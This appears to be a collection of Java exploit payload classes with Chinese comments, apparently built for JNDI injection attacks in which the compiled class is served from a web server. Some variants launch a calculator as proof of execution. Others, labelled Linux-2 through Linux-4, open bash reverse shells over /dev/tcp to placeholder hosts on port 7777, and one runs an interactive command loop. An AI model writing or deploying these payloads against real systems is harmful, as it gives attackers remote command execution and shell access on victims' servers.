// 将生成的class文件放入到web路径下，然后开启web服务(MAC-1)
public class Exploit{
    public Exploit() {}

    static
    {
        try {
            String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
                    ? new String[]{"cmd.exe","/c", "calc.exe"}
                    : new String[]{"/bin/bash","-c", "open /Applications/Calculator.app"};
            Runtime.getRuntime().exec(cmds);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        Exploit e = new Exploit();
    }
}

//MAC-2
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class Exploit implements ObjectFactory {

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
        exec("xterm");
        return null;
    }

    public static String exec(String cmd) {
        try {
            Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
        return "";
    }

    public static void main(String[] args) {
        exec("123");
    }
}

//MAC-3
public class Calc {
    public Calc(){
        try{
            Runtime.getRuntime().exec("open /Applications/Calculator.app/");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Calc e = new Calc();
    }
}


//Linux -1 
import java.io.IOException;
import java.util.Hashtable;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;

public class Exploit implements ObjectFactory {

	public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment)
			throws Exception {
		exec();
		return "";
	}
	 public static String exec() {
	        try {
	            Runtime.getRuntime().exec("calc");
	        } catch (IOException e) {
	            e.printStackTrace();
	        }
	        return "";
	    }
	 public static void main(String[] args) {
		 exec();
	}

}


//Linux -2
public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/host/7777 0>&1");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

//Linux -3
import java.lang.Runtime;
import java.lang.Process;

public class ExpShell1 {
static {
try {
Runtime rt = Runtime.getRuntime();


String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/host/7777 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

//Linux -4
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    public Exploit() throws Exception{
        //Process p = Runtime.getRuntime().exec(new String[]{"cmd","/c","calc.exe"});
        Process p =Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/VPS/7777;cat <&5 | while read line; do $line 2>&5 >&5; done"});
        InputStream is= p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        String line;
        while(
                (line = reader.readLine()) != null) {
            System.out.println(line);
        }
        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }
        public static void main(String[] args) throws Exception{

        }
}
